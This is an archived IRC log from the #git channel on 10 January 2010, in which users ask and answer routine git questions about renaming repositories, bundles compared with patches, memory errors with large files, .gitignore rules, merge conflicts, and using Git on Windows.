IRCloggy #git 2010-01-10

Provider of IRC logs since 2005.

WARNING: As Freenode became unjoinable and lost all warnings in topics, we cannot log channels on Freenode anymore.

	2010-01-10
eldragon	thanks wereHamster	00:00
	→ javatexan joined	00:01
xiong	Let me have a reality check on a basic concept or two; please correct me if I'm wrong. A git repo has no name, in itself; or rather, the repo is the enclosing folder, the parent of whatever .git/ is tracking it. If I rename the parent, I rename the repo. --?	00:04
wereHamster	yes	00:04
	→ aresnick joined	00:04
xiong	wereHamster, Thank you.	00:04
	← johnw left	00:05
wereHamster	git doesn't care what the folder is named	00:05
	→ Chillance joined	00:05
xiong	If I rename the enclosing folder directly (say, in Nautilus) then git will not even see this as a change?	00:05
	← GodEater left	00:05
Pieter	it will	00:05
Ilari	xiong: At least URLs pointing to that will change.	00:06
xiong	Pieter, Thank you. So I must use git-mv for that?	00:06
AAA_awright	xiong: Some programs that identify the repository by their path will, of course, but not git itself	00:06
Pieter	xiong: no, it will detect the change	00:06
	→ greya joined	00:06
xiong	I'm a standalone dev, so I don't know that I have any URLs pointing to my repo	00:06
cbreak	you can copy/move repositories around as you want	00:07
Pieter	xiong: but it'll be able to infer it's a tree-change only, not a content change	00:07
Ilari	xiong: Does the box run SSHD? :-)	00:07
	← ph^_ left	00:07
xiong	Ilari, I have to research what you said.	00:07
AAA_awright	Does git format-patch work any different than git bundle? Why would I want to use bundle over format-patch?	00:07
	← project2501a left	00:07
greya	hello, i have "fatal: Out of memory, malloc failed" with 24M text file. Debian Lenny, git version 1.5.6.5 and annoying message: git: /usr/local/lib/libz.so.1: no version information available (required by git)	00:08
Ilari	AAA_awright: Bundle actually can transport commits and tags.	00:08
xiong	Ilari, I know that I can connect to my remotehost with SSH. I can check running processes to see if there's a daemon associated with that. I'm not sure why this is significant?	00:08
Pieter	AAA_awright: git-bundle keeps commit information intact, if you git-format-patch and then apply, you'll get idfferent sha's	00:08
	AAA_awright: git-bundle can also be more compact	00:08
	AAA_awright: and git-bundle allows multiple refs to be stored, from which you can fetch only a portion, if you'd wish	00:08
Ilari	xiong: If you have SSHD running, then there presumably is URL for externally accessing the repo .	00:09
xiong	Ilari, There is indeed a sshd process running.	00:09
AAA_awright	I assumed patches always created the same SHA-1, they contain the commit, date, author date... hmm, they don't contain the "commit" date do they?	00:09
Ilari	xiong: Wheither or not it is used is different matter.	00:09
AAA_awright	How does that work then? You commit a temporary commit, send that patch, and then pull it back as a different SHA1?	00:09
xiong	Ilari, Not sure how that works out in practice. I don't think my repo is public in any way. Certainly I don't intend anybody to see it.	00:10
Ilari	xiong: It isn't public. But another computer that could reach the sshd and login as you could presumably fetch it.	00:10
	AAA_awright: Bundle preserves commit IDs.	00:11
	← daifuku left	00:11
	← javatexan left	00:12
	→ daifuku joined	00:12
	← ramlev left	00:12
xiong	Let me explain my intent; that might clear things up a little. I have on localhost ~/projects/NEW/; this is a blank development workspace with several empty folders in a predetermined structure. I duplicate this folder structure, rename the top folder to (whateverproject)/, and populate it. I have not now got git tracking NEW, but I think I should. However, when I duplicate, should I destroy the copy of .git/ and create a new one?	00:12
Ilari	xiong: No, it should not be recreated.	00:13
	xiong: Empty directories are not tracked. Presence of directory is impiled from having files in it.	00:14
	→ amerine joined	00:14
Ilari	xiong: Well, there's nasty hack to make git create empty directory, but its a hack.	00:14
	→ tekky joined	00:14
	← m104 left	00:14
	← deesa left	00:14
xiong	Ilari, Ooh, I lied a little. Each folder has a text notes file in it which defines its role.	00:15
	← csanz left	00:15
	→ m104 joined	00:15
greya	How to fix that? i have "fatal: Out of memory, malloc failed" with 24M text file. Debian Lenny, git version 1.5.6.5 and annoying message: git: /usr/local/lib/libz.so.1: no version information available (required by git)	00:15
	→ denis joined	00:15
Ilari	xiong: Renaming anything at or above the parent directory of .git doesn't affect anything in that repo.	00:15
eldragon	greya, how much memory has your computer?	00:15
xiong	Indeed, the value of having git track NEW/ is to have it track the folder structure changes.	00:16
	→ tek joined	00:16
Ilari	greya: 24M text file? Just what kind of junk machine is that? Or are there even larger files involved?	00:16
	← dandy0299 left	00:16
xiong	So it looks as though the text notes files are important!	00:16
Ilari	xiong: ~/projects sounds like there should not be repository there.	00:17
xiong	Ilari, There is not. Ideally, I think, each folder within projects/ should be a repo.	00:17
	← pantsman left	00:18
Ilari	xiong: If you do 'mv ~/projects/foo ~/projects/bar' and there's no git repo at or above ~/projects, no git repo sees any changes.	00:18
	xiong: Since any paths git manipulates are relative to repository root.	00:19
	→ Aldwuin joined	00:19
	← EricInBNE left	00:19
	← priidu left	00:19
xiong	I think I will make ~/projects/NEW a repo; duplicate and rename for each new project; and just develop from there.	00:19
	→ EricInBNE joined	00:20
	← nickrw left	00:20
Ilari	xiong: Note that cping repos or mving repos between filesystems breaks some stuff.	00:21
xiong	Ilari, I think I haven't been clear. This is all on one machine; I'm a sole dev.	00:21
Ilari	xiong: There are inode numbers in working copy cache ('git update-index --refresh' to regenerate it).	00:21
greya	It is quad core 2GB memory server. looks like i have buggy zlib installed. I have Directadmin, and it is real crap :( it installed its own shared libs.	00:22
	http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=431124	00:22
	looks like that	00:22
Ilari	xiong: 'cp ~/projects/NEW ~/projects/foo' would hit that "cp creates broken copy" problem.	00:22
xiong	There isn't really any advantage to retaining the git info about changes to NEW/ once development has begun on a specific project, I guess.	00:22
	→ JohnNilsson joined	00:23
	← gambler left	00:23
Ilari	xiong: Well, you could have skeleton project there without having git repo there, copy it and git init the newly copied directory.	00:23
	→ gambler joined	00:23
	← ProLoser\|Trmnl left	00:24
xiong	Ilari, That is what I have been doing. Now I think I should have been using git to track NEW as well. I'll just trash the copy of .git/ and create a new one, when I start an actual project.	00:24
	→ sgh joined	00:25
JohnNilsson	Is it possible to have a gitrepository with submodules and at the same time mirror the objects from the submodules in the same repository? (I'm hoping to setup a simple backup solution involving various git repos)	00:25
	← bcardarella left	00:25
	← amerine left	00:25
	← cilly left	00:25
Ilari	xiong: I think such stuff should be kept.	00:25
	← RobertLaptop left	00:26
xiong	Ilari, The original NEW/ will continue to have the original .git/ in it.	00:26
	← calin left	00:26
Ilari	xiong: The template changes, that is.	00:26
xiong	Info about changes to the skeleton aren't germane to the specific project. --?	00:27
	Or are they?	00:27
	Should I be using git to clone NEW/, then, so nothing breaks and the new repo retains all the old skeleton change info?	00:28
Ilari	xiong: Thats perhaps the best way.	00:28
xiong	Ilari, Interesting.	00:28
	→ jrmuizel joined	00:29
Ilari	xiong: And the origin remote can be changed if you need to push it somewhere and want to reuse that name.	00:29
	← _Vi left	00:29
	→ _Vi joined	00:30
xiong	Ilari, I see in the manpage for git-clone the option --template. Is this what I'm trying to do? Or does 'template' have a more specific meaning in gitland?	00:30
	← JohnNilsson left	00:30
Ilari	xiong: That is for git repository itself (hooks, etc).	00:31
	← sgh left	00:31
	→ sgh_ joined	00:31
	← tekky left	00:32
xiong	So, I just want to: $ git clone ~/projects/NEW/ ~/projects/(newproject)/	00:32
	← brizly left	00:33
	← tvw left	00:34
	← apansover left	00:34
Ilari	xiong: Pretty much. If in ~/projects, you can do 'git clone NEW newproject'	00:35
xiong	Ilari, Yes; I tend to be explicit and perhaps oververbose.	00:35
	I'm unclear as to where to put the file .gitignore; I'm pretty sure I want this to move with the clone.	00:36
	I think I should put a single .gitignore file in NEW/	00:37
Ilari	xiong: .gitignore goes to working copy directories and needs to be added and committed.	00:37
xiong	Ilari, ???	00:38
	← daifuku left	00:39
eldragon	how can i check the integrity of the all the git repo?	00:39
Ilari	eldragon: 'git fsck --full'.	00:39
eldragon	thanks Ilari	00:39
Ilari	xiong: .gitignore can be put anywhere within working copy. It only affects the directory it is in and what's below that.	00:40
xiong	Ilari, So you agree? .gitignore in NEW/; add it to the repo; clone the repo.	00:41
	→ daifuku joined	00:41
	← tehbaut\| left	00:41
	← rettub left	00:42
Ilari	xiong: Commit it as well.	00:43
xiong	No, wait. I intend to track all changes to NEW/; I care about all of them. The .gitignore file in NEW/ might have patterns set up for folders I never track in an actual project but those lines must be commented out.	00:43
	← adam12 left	00:43
	← vuf left	00:44
Ilari	xiong: If you want to go against ignore, you can force-add the file.	00:44
	→ adam12 joined	00:44
xiong	Ilari, Yes, I must commit all changes to NEW/ before cloning.	00:44
	denis → deesa	00:45
	→ optimizer joined	00:45
optimizer	i'd love to put ~ in git; but I don't wnat to store revision of every file; is there a way to do this?	00:45
	→ rettub joined	00:46
Ilari	optimizer: Tracking ~ isn't very good idea.	00:46
optimizer	why not?	00:46
	why can I do this with svn b ut not git ?	00:46
	← EricInBNE left	00:46
	← tbuehlmann left	00:46
	← gambler left	00:46
	→ tedoc2000 joined	00:47
	→ EricInBNE joined	00:47
Ilari	optimizer: For one, permissions support except for +x/-x.	00:47
	→ gambler joined	00:47
Ilari	optimizer: And it is bad idea with any SCM.	00:47
	→ Strogg joined	00:48
Strogg	'lo 'lo	00:48
Ilari	...	00:48
bob2	putting your dotfiles in is reasonable, though	00:49
Strogg	let's say I was making a tool that was going to use a bare git repo as its storage and history engine... is git-write-tree what I want to be looking at to add/change files to/in the repo?	00:49
	→ bcardarella joined	00:49
	→ NetHawk joined	00:51
	← optimizer left	00:53
	→ oliver3 joined	00:53
	→ sockmonk joined	00:54
	← daifuku left	00:55
	→ aliasre joined	00:55
	← adam12 left	00:56
	← shruggar left	00:56
	Strogg discovers git-update-index	00:56
	→ adam12 joined	00:56
	→ daifuku joined	00:57
	→ adam12_ joined	00:59
	← adam12 left	00:59
patrikf	Strogg: see also git hash-object -w	01:00
Ilari	Strogg: Also commit-tree and update-ref	01:01
patrikf	i'm not sure update-index works with bare repos	01:01
Strogg	oooh. nice. thanks patrikf	01:01
	hrmmm ok	01:01
	Strogg opens up a couple more xterms	01:01
patrikf	and there are git bindings for some scripting languages, might be worth to have a look at	01:01
	← tobiassjosten left	01:02
Strogg	well.. for now, I'm just writing in bash.. just wanna get something basic working	01:02
	then I'll start seeing if people wanna hack on it with me	01:02
	← jrmuizel left	01:02
	← ruediger left	01:03
patrikf	what are you going to create?	01:03
	→ r11t_ joined	01:03
Strogg	hrmm it's a bill of materials manager for people doing hardware design. it's a really unpleasant part of building hardware, and a tool to make managing all the info easier would be really great	01:04
	→ corni_ joined	01:04
Strogg	I've mentioned the idea to a couple people already and have had good comments, so it should be neat	01:04
	→ hyperair joined	01:04
	bburhans_ → bburhans	01:05
	← tedoc2000 left	01:05
	→ GodEater joined	01:06
	→ jotik^^ joined	01:06
	← r11t left	01:09
	→ jrmuizel joined	01:09
	← reprore left	01:11
	← daifuku left	01:11
	← coolcat left	01:11
	→ daifuku joined	01:12
	← cj left	01:14
	→ jotik_ joined	01:14
	→ TheDJACR joined	01:15
	← khmarbaise left	01:16
	← TDJACR left	01:16
	→ developernotes joined	01:18
	← developernotes left	01:18
	← corni left	01:20
	← jotik left	01:22
Ilari	Strogg: Unfortunately, if info should be managed from some program, possiblity of cocurrent updates complicates stuff (you need to be prepared for file-level merge and even conflicts).	01:22
	→ icwiener_ joined	01:24
Ilari	Strogg: File level merge isn't that bad. But then there are the conflicts (and no VCS can get rid of them)...	01:24
Strogg	hrmm.. yes	01:25
	← catalis left	01:26
	← xiong left	01:28
	→ DrAk0 joined	01:29
	← icwiener left	01:29
	← jotik^^ left	01:29
	→ tekky joined	01:30
	← tek left	01:30
	← v0n left	01:32
	→ developernotes joined	01:34
	← developernotes left	01:38
	← daifuku left	01:39
	← swisherdude left	01:39
	← Rolenun left	01:40
	r11t_ → r11t	01:40
	→ daifuku joined	01:41
greya	I get "fatal: Out of memory, malloc failed" with my git. Notwith large file as i see, it adds couple screens of files then fails. how to find out what's going on? i have a lot of free memory	01:42
	← schierbeck left	01:42
_Vi	greya, Too big repository and doing "git gc"?	01:42
r11t	is there some sort of posthook for failed merges ?	01:43
	→ swisherpop joined	01:43
	← corni_ left	01:43
	← sgh_ left	01:43
Ilari	greya: What's the exact command you are trying to run?	01:44
eldragon	greya, what operation you was doing?	01:46
	→ johnw joined	01:46
	← swisherpop left	01:46
	→ Slix` joined	01:47
	→ swisherpop joined	01:47
Slix`	Is tortoisegit good for using git?	01:47
Ilari	Slix`: At least it might be passable.	01:48
Slix`	What's the recommended way to use it?	01:48
eldragon	Slix' is tortoisegit exclusively for windows?	01:48
Slix`	Yeah, I believe so.	01:49
Ilari	Slix`: Command line? GUIs might be good for some tasks. :-)	01:49
Slix`	Command line seems like it's going to be confusing :P	01:49
eldragon	i need a GUI like tortoisegit for linux but i don't find it :o	01:49
	/tortoisegit/tortoisesvn/	01:50
	→ ruediger joined	01:50
	← jwoods left	01:50
Ilari	eldragon: 'git gui'? Looks bad, but is quite functional.	01:50
	← swisherpop left	01:52
	→ swisherpop joined	01:53
_Vi	(Git is a bit like Perl... Both looks complicated, both very functional. In both "There are more than one way to do it".)	01:54
greya	sorry, i did git add .	01:54
Ilari	greya: Just how large is the working tree? What's the exact size of largest file?	01:55
rgr	so I have modified and committed on machine A. And pushed to the centra repo. Meanwhile on B a change to the same file has been committed. Clearly there is a clash now. What is the best merge procedure in this case?	01:55
greya	Ilari, i need time	01:55
_Vi	rgr, "git pull" on the B and resolve the conflict?	01:56
rgr	_Vi: yes, I'm having trouble seeing how to resolve it though. I am googling and seem to be going around in circles. A mental block I think.	01:57
	← schlortoo left	01:57
_Vi	rgr, Is it binary file or textual source code?	01:57
rgr	just test comments on bashrc.	01:57
	(text)	01:57
Slix`	Gah	01:57
	Installed msysgit but can't find any docs on using it.	01:57
Ilari	rgr: It leaves conflict markers (<<< and >>>)	01:57
	Slix`: 'git help add'?	01:58
_Vi	rgr, Then look into the file on B. The should be "<<<", "===", ">>>" markers.	01:58
rgr	what? the failed pull actually updated it? hang on.	01:58
_Vi	rgr, You remove that markers, fix the file and "git add ." it and "git commit".	01:58
Slix`	In what? Windows cmd?	01:58
rgr	no, there are no markers.	01:59
_Vi	rgr, "git status".	01:59
	rgr, Are there files in "Conflict" state?	01:59
rgr	# Your branch and 'origin/master' have diverged,	01:59
	# and have 1 and 1 different commit(s) each, respectively.	01:59
_Vi	rgr, "git merge origin/master" or like that.	02:00
greya	Ilari, 357922 files max file size - 1.7G	02:00
Ilari	greya: Ugh. the first would be bad enough, but the second is what blows it.	02:00
eldragon	the user A committed their successive changes to its local repo of its laptop, same did users B and C and their local repos, everyones offline. My question is when they go to the job, can the three local repos commit to the central repo and solve automatically the several conflicts once?	02:01
Ilari	greya: Git really doesn't like large files.	02:01
	eldragon: The conflict resolution must happen at client end.	02:01
_Vi	rgr, Are your changes at "A" and "B" in the same place in your file?	02:01
eldragon	i thought that Hg might do it	02:01
rgr	_Vi: thanks. Thats cleared it up for me a lot.	02:01
	→ csanz joined	02:02
wereHamster	eldragon: no scm can automatically resolve conflicts	02:02
rgr	_Vi: yes they were. My next test I do the same and put them indifferent places in the same file. Is that then "hunK" merging?	02:02
greya	Ilari, deleted file- looks like it works	02:02
	thanks	02:02
wereHamster	eldragon: conflicts are by definition situations where the scm doesn't know what to do and requires human intervention	02:03
	← swisherpop left	02:03
Slix`	Git GUI is here.	02:03
_Vi	rgr, Don't know about "hunk merging", but usually it is called "3-way merging".	02:03
	→ fishey1 joined	02:03
greya	how to write gitignore rule to ignore all /tmp/ dirs under /home/user/ ? /home/user/....................../tmp/ ?	02:04
rgr	I guess I can get git to auto invoke my emacsclient when I merge?	02:04
	→ swisherpop joined	02:04
Ilari	greya: 350k files is enough to do somewhat nasty things to performance, but its limitation of "free-edit" VCS systems.	02:05
Slix`	Gah. Very little documentation on this.	02:05
	← DrAk0 left	02:05
Ilari	greya: 'tmp/' in .gitignore	02:05
	→ krynnotaur joined	02:05
greya	but it can catch that tmp in another dir	02:05
	but i want to lock it on one tree	02:05
Ilari	greya: '/tmp/'?	02:06
rgr	Is it possible to get git to auto invoke my emacsclient when I merge?	02:06
Slix`	The supposed /share/ file does not exist.	02:06
rgr	it invokmes my emacs client already for comments on comit.	02:07
greya	Ilari, for example /home/me/projects/1/ - i want to ignore tmp/ but in /home/me/projects/2/ i want tmp/ too	02:07
	← swisherpop left	02:08
wereHamster	rgr: git merge will automatically run the editor when the merge didn't fail because of conflicts	02:08
_Vi	greya, 1. You may add "tmp/" in each .gitignore, 2. There are global ignoring rules somewhere too.	02:08
Slix`	Why do they keep saying that the initialize.sh file exists?	02:08
	It doesn't!	02:09
greya	Ah yes, sure. thanks _Vi	02:09
	→ swisherpop joined	02:09
rgr	wereHamster: what good is running the editor if the mereg was succesful? If it mergeed and left markers in the file surely then it should launch the editor for one to manually ocrrect the mere?	02:10
	damn keyboard. sorry for sloppy typing.	02:10
	← Alagar left	02:12
wereHamster	rgr: oops, sorry. git merge automatically generates a commit message -.-. Well, if there are conflicts you could use git mergetool to help you to resolve them.	02:12
	the reason why git doesn't automatically start it is because you maybe don't want to resolve the conflicts but go back and abort the merge	02:12
	← swisherpop left	02:13
rgr	ok, seems an ommission though. since its done the merg and left markers in it seems natural to chuck it up in the editor. thanks-	02:13
	→ tehbaut joined	02:13
rgr	wereHamster: but to decide to abort the merge you prbably want to see the markers to see anyway.	02:14
	anyway, great help. thanks all.	02:14
wereHamster	to quickly see what the conflicts are about you could use git diff to avoid spawning the editor...	02:14
	→ godsflaw joined	02:15
greya	thanks, optimised my storage :)	02:15
Slix`	...	02:15
	The documentation on msysgit is incorrect.	02:16
	You are told to use several non-existant files.	02:16
	I want to use git, but so much of it is just so confusing.	02:17
	→ project2501a joined	02:18
wereHamster	did you read a tutorial? Or the git book?	02:18
	← bcardarella left	02:18
	← orafu left	02:18
	→ orafu joined	02:18
	→ swisherpop joined	02:18
	← swisherpop left	02:19
	← fishey left	02:19
	→ swisherpop joined	02:19
Slix`	Parts. Not that it matters. Not really sure where to start with windows.	02:21
wereHamster	are you trying to build msysgit yourself?	02:21
_Vi	Slix`, One of the ways is to start by installing Cygwin.	02:21
Slix`	wereHamster: I thought it came pre-built? (If not, then I'm doing something very wrong).	02:22
	_Vi: Have that. Is that the best way to use git on windows.	02:22
	s/windows./windows?	02:22
wereHamster	it does. Are you running windows 7?	02:22
_Vi	Slix`, I have better experience with Cygwin/Git that with Msysgit.	02:23
Tass`	Slix`, actually I'd use virtualbox + ubuntu.	02:23
Slix`	Alright then.	02:23
	Yep, Windows 7.	02:23
	x_x;;	02:23
	→ VVSiz_ joined	02:24
Slix`	Tass`: Why?	02:24
Tass`	Slix`, because the windows command line sucks?	02:24
	← philluminati left	02:24
Slix`	Isn't that what cygwin is for?	02:24
_Vi	(How many Windowses there will be before complete Windokaput?)	02:24
	→ bcardarella joined	02:25
Tass`	Slix`, well, it's as linux as wine is windows ;-)	02:25
	Slix` is not switching to Ubuntu completely with his games on here.	02:25
_Vi	Slix`, Cygwin should also be used not in standard console window, but in some terminal (Cygwin's xterm, puttytel, ...).	02:25
Tass`	Slix`, well, have fun. I wouldn't recommend using git on windows :-). but as you need it, go on.	02:26
Slix`	o_O	02:26
	I don't need it. I wanted to try it because it looks loads better than SVN.	02:26
_Vi	(Using "git", including "git-svn" on Cygwin/Windows successfully).	02:26
Slix`	So I shouldn't use the standard console window?	02:27
Tass`	Slix`, can't compare. don't know svn ;-)	02:27
Slix`	Where can I get one of these terminals?	02:27
eldragon	what does git-svn ? what's the main repo of git-svn? git repo or svn repo?	02:27
_Vi	Slix`, Bad copy-paste is enough to use alternative consoles.	02:27
	eldragon, SVN one.	02:28
	Slix`, And it "git" you may want to copy&paste some SHA-1.	02:28
Slix`	Alright, but where can I get a good terminal?	02:28
eldragon	i don't like the svn repos as they are badly organized in dirs	02:29
_Vi	Slix`, The thing that works 100% OK on Cygwin is Cygwin's xterm on Cygwin's X server. But it requires configuration.	02:29
	Slix`, You get normal cursor movements, normal copy-paste, normal UTF-8 support.	02:29
	eldragon, "git-svn" knows what is "branches/" and "tags/".	02:30
Slix`	Alright, where can I get xterm?	02:30
_Vi	eldragon, And uses them for their purpose.	02:30
	Slix`, Install it using Cygwin installer.	02:30
Slix`	Aha	02:31
	Duh	02:31
	Thanks.	02:31
_Vi	Slix`, You will also need CygwinX.	02:31
Slix`	Err, where IS the installer? :S I only got it when I first installed cygwin.	02:32
_Vi	Slix`, Launch it again. "setup.exe".	02:32
Slix`	Aha. :P	02:32
	k	02:32
	→ RobertLaptop joined	02:32
_Vi	Slix`, "X" should be started with appropriate options, "xterm" should also be started with appropriate options and also you need to configure "bash" if you want non-ascii to work good.	02:33
Slix`	o_o Sounds complicated.	02:33
	← hyperair left	02:34
	← swisherpop left	02:34
_Vi	Slix`, (I was using Cygwin before I actually used GNU/Linux much).	02:34
	← johnw left	02:34
	→ swisherpop joined	02:34
	← icwiener_ left	02:37
	→ rgr_ joined	02:38
	→ sh1mmer joined	02:39
	← VVSiz left	02:41
	→ jotik joined	02:41
	← Akufen left	02:43
	← rgr_ left	02:44
	→ archis_ joined	02:46
	← deesa left	02:47
	→ dgarrw joined	02:47
	← archis_ left	02:49
	← jotik_ left	02:56
AAA_awright	Is there any easy way of sending commits (as opposed to patches) by email? Is that recommended?	02:56
_Vi	AAA_awright, "git bundle create".	02:56
	← parasti left	02:57
AAA_awright	I figured, it doesn't seem widely used, patches are supported on TortoiseGit but not bundles, for example	02:57
_Vi	AAA_awright, Yes, "git bundle" is not frequently used feature.	02:57
	AAA_awright, Why do you need it?	02:58
	AAA_awright, Usually if be email then patches. If directory commits, then "fetch".	02:58
AAA_awright	I... probably don't, I'm trying to figure out various ways of easily propagating commits without Internet or sometimes a network	02:58
	← bcardarella left	02:59
_Vi	AAA_awright, Yes, "git bundle" is where the network is a trouble.	02:59
	→ juan_arandaalvar joined	03:00
	→ jotik^^ joined	03:00
	← jrmuizel left	03:01
eldragon	i like that git can store all even with conflicted commits and mark them for later human conflict-repairs e.g. weeks later of the ocurred conflicts instead of instant, similar to as Hg does.	03:02
	→ Pupeno joined	03:02
_Vi	eldragon, As I know, the index handles conflicted states, but not "commit" or "tree" objects in object database.	03:03
	← Pupeno left	03:03
	→ jrmuizel joined	03:03
	→ bcardarella joined	03:04
	← imajes left	03:06
	← bcardarella left	03:07
	→ agile joined	03:07
	→ schlortoo joined	03:08
	→ bcardarella joined	03:08
eldragon	the idea is simple, "commit the changes and forget", don't stuck here if there are conflicts, store the conflicts too!	03:09
	← daifuku left	03:09
_Vi	eldragon, Why do you need commits with conflict information?	03:10
	eldragon, Do allow "git push" without updating first?	03:10
	s/Do/To/	03:10
	eldragon, Conflicts are things that should be just resolved.	03:10
EricInBNE	what is the best open source github clone ?	03:11
_Vi	eldragon, If you are resolving the same conflicts again and again, use "git rerere".	03:11
	→ daifuku joined	03:11
_Vi	EricInBNE, What's wrong with Github?	03:11
eldragon	_Vi, because if i change the change of the previous change and i don't remember how was the middle change because i didn't store these changes because the repo rejected them due to the conflicts, all lost. <-- it's why is better store all the changes, conflicted or not, but well marked.	03:11
	← dreiss left	03:11
EricInBNE	_Vi, its for a private project, cant publish it online	03:11
	← rgr left	03:12
_Vi	EricInBNE, There are private plans at Github (payed).	03:12
	→ rgr joined	03:12
_Vi	eldragon, "because the repo rejected them due to the conflicts, all lost" -> Again, what is lost?	03:12
SeveredCross	You can also run your own gitorious if you've got a server around.	03:12
_Vi	EricInBNE, There somewhere "source code hosting comparison" at Wikipedia.	03:13
EricInBNE	_Vi, i think the intent is to build our stuff on something non propretiary	03:13
SeveredCross	If you don't mind using a VM, you can get virtual appliances of Redmine or Gitorious probably.	03:13
_Vi	EricInBNE, There are "git" columns and "closed source support" columns there.	03:13
	← dreiss_ left	03:14
EricInBNE	_Vi, will check it out. - _Vi also is gitosis the best git server? (Im just a git newbie)	03:14
	→ NotADJ joined	03:14
	← TheDJACR left	03:14
_Vi	EricInBNE, I don't know about both of "gitosis" and "gitolite", but 1. You may setup it manually, 2. Somewhere at #git there was told that gitolite is better.	03:15
	EricInBNE, Git is itself server for Git. Gitosis as configuration tool.	03:15
	s/as /is /	03:15
	EricInBNE, (Git combined with SSH server)	03:15
EricInBNE	i see	03:15
_Vi	EricInBNE, Also you can use "git over HTTPS" live SVN, but this is not mature feature and have some issues.	03:16
	← jotik left	03:17
EricInBNE	So what does gitosis configure if its all over ssh?	03:17
_Vi	EricInBNE, It also configures SSH, as I know. (Again, I haven't used it personally)	03:18
	EricInBNE, With this tool you probably can create repository remotely, add SSH keys to access them, manage them.	03:19
	EricInBNE, But you also can do that manually, if you know how.	03:19
eldragon	_Vi, lost the many conflicted changes that repo rejected them to be commited due to conflicts.	03:20
_Vi	eldragon, What do you mean by "conflicted changes"? Changes you are done when resolving conflicts? Changes that have been conflicted?	03:20
eldragon	there is no way to commit the changes of the conflicted changes that the user has been rewriting many times.	03:21
	→ cytrinox_ joined	03:21
	← cytrinox left	03:21
	cytrinox_ → cytrinox	03:21
_Vi	eldragon, Don't understand.	03:21
	← aziz left	03:21
_Vi	eldragon, Conflict has 3 sides: 1. Base, 2. "your" side, 3. "their" side. Also it has "result" - that is after resolution.	03:22
	eldragon, 1, 2 and 3 are almost never lost.	03:22
	eldragon, "result" should not also be lost if you has run "git add" for it.	03:23
	eldragon, (And there should not be a lot of conflicts. Most merge are expected to be clean.)	03:23
	→ cedricv joined	03:24
eldragon	_Vi, e.g. a file A can't be commited due a conflict, A can't be commited somewhere, i modify A to A', i commit A' and conflicts, i modify A' to A'', commit it and conflicts, i did the wrong way! i've A'' but i want to back to either A' and A but i can't because they weren't commited and are disappeared, it's lost, :o	03:24
_Vi	eldragon, What do you mean by "commit the file"? You commit the whole project that has some files changed.	03:24
	eldragon, (I think "commit the file" is CVS term)	03:25
eldragon	_Vi, i'm saying an example for the fucking idea that you don't understand it.	03:25
_Vi	eldragon, "i commit A' and conflicts" -> Merges can be conflicting, not commits.	03:26
	eldragon, Commit is at your side, not involving any "their" code.	03:26
	→ reprore joined	03:26
eldragon	_Vi, the commits can be conflicted too, liar.	03:27
_Vi	eldragon, How are you trying to "commit" A', for example?	03:27
	← LRN left	03:27
	← pheaver left	03:27
_Vi	eldragon, Git has a bit divergent meaning of "commit".	03:27
	eldragon, May be it confused you?	03:28
	← jrmuizel left	03:28
eldragon	maybe	03:28
_Vi	eldragon, In Git, merging may conflict. Or some patch application. E.g. things when there are two code branches.	03:28
	← reprore left	03:29
_Vi	eldragon, What commands are you typing? (Or you are using some GUI?)	03:29
eldragon	push pull	03:29
	→ sudoer joined	03:29
_Vi	eldragon, "push" may tell you that it is "not fast-forward". You do "git pull" therefore. It may produce conflict.	03:29
	eldragon, Because "git pull" is merging things.	03:30
	→ developernotes joined	03:30
eldragon	can git store the conflicted merges?	03:30
_Vi	eldragon, There is "your" branch (where you "git commit") and "their" branch (what is fetched from server).	03:30
	→ DrAk0 joined	03:30
	← developernotes left	03:30
_Vi	eldragon, What do you mean by "storing". You can't commit with conflicts unresolved and push it on server, for example.	03:31
	→ catalis joined	03:31
	→ manithree joined	03:31
_Vi	eldragon, If you has done "git commit", it committed. It produced commit-id. You may restore it almost any time by this commit-id.	03:32
	eldragon, (But you can't "git commit" if there are conflicts).	03:33
eldragon	if there are conflicts, then where can i store the last conflicted modified project?	03:33
_Vi	eldragon, You mean "the state of project before conflict"?	03:34
	eldragon, E.g. what was before "git pull"?	03:35
eldragon	no, i mean to store the state of project after of the conflict	03:35
	← catalis left	03:35
_Vi	eldragon, That "conflicted" state is supposed to be 1. short-living, 2. unpersistable. But you may reproduce the same state by merging the same branches.	03:36
	eldragon, In any case if there are conflicts, you should first resolve them and then continue normal editing.	03:36
eldragon	yes, i wanna to lose the shortlive changes that i did	03:36
	→ Rolenun joined	03:36
	← project2501a left	03:36
_Vi	eldragon, (Otherwise you are better to cancel merge to remove "conflicted" state)	03:37
eldragon	_Vi, and if solving the conflicts is too long, can't i commit them anywhere?	03:37
_Vi	eldragon, You want to store intermediate stages of conflict resolution?	03:38
eldragon	yes, it's!	03:38
_Vi	eldragon, May be there are too many conflicts?	03:38
eldragon	maybe	03:38
	← sockmonk left	03:39
_Vi	eldragon, Then it is supposed you merge not with all remote changes at once, but split them in some packs.	03:39
	eldragon, BTW what kind of conflicts? Why there are so many of them?	03:39
	← daifuku left	03:39
	→ Paraselene_ joined	03:40
_Vi	eldragon, Start "gitk --all". You will see branches. There is "your" (master) and "their" (origin/master). You will see they are diverged.	03:40
eldragon	because the repo is being giant	03:40
	← tekky left	03:40
_Vi	eldragon, You may merge not with the most recent version of "their" branch, but with some intermediate state. Less changes => less conflicts. E.g. to split merging work to parts.	03:41
	→ daifuku joined	03:41
eldragon	i wanna to split many branches	03:41
	→ jmcantrell joined	03:42
eldragon	i wanna to store the conflicts, and little to little to go removing the conflicts for days	03:42
_Vi	eldragon, You 1. get to the state that was before conflict, 2. "git merge commit_id", where commit_id is from "their" branch, for example, at the half of the way from merge base to the tip of "their" branch.	03:42
eldragon	err. i want ot store conflicts.	03:42
_Vi	eldragon, No, I think Git can't handle such thing well. You probably better to slit them in other way.	03:43
bry	simple way to convert SVN commits to GIT commits locally? git-svn clone file:///path/to/svn is yelling about cannot open repo URL	03:43
_Vi	bry, "svn ls" for the file:///path/to/svn working well?	03:43
	← krynnotaur left	03:43
_Vi	eldragon, E.g. you don't solve all conflicts at once, but do many merges, each of them has few conflicts to resolve.	03:44
bry	_Vi: it returns "svn: Unable to open an ra_local session to URL"	03:44
	→ ruediger_ joined	03:45
_Vi	eldragon, "git merge 23439cb" -> solve conflicts -> "git add" -> "git commit"; "git merge 334bf4" -> solve conflicts -> "git add" -> "git commit". "git merge origin/master" -> solve conflicts -> "git add" -> "finally commit".	03:45
	bry, Try to fix your URL.	03:45
	← csanz left	03:45
eldragon	_Vi, in the time of "solve conflicts", i can lose the works	03:45
_Vi	bry, Use "svn info" or "svn ls" to validate it. And you better not try to clone empty repository, add at least 1 _file_ to it.	03:46
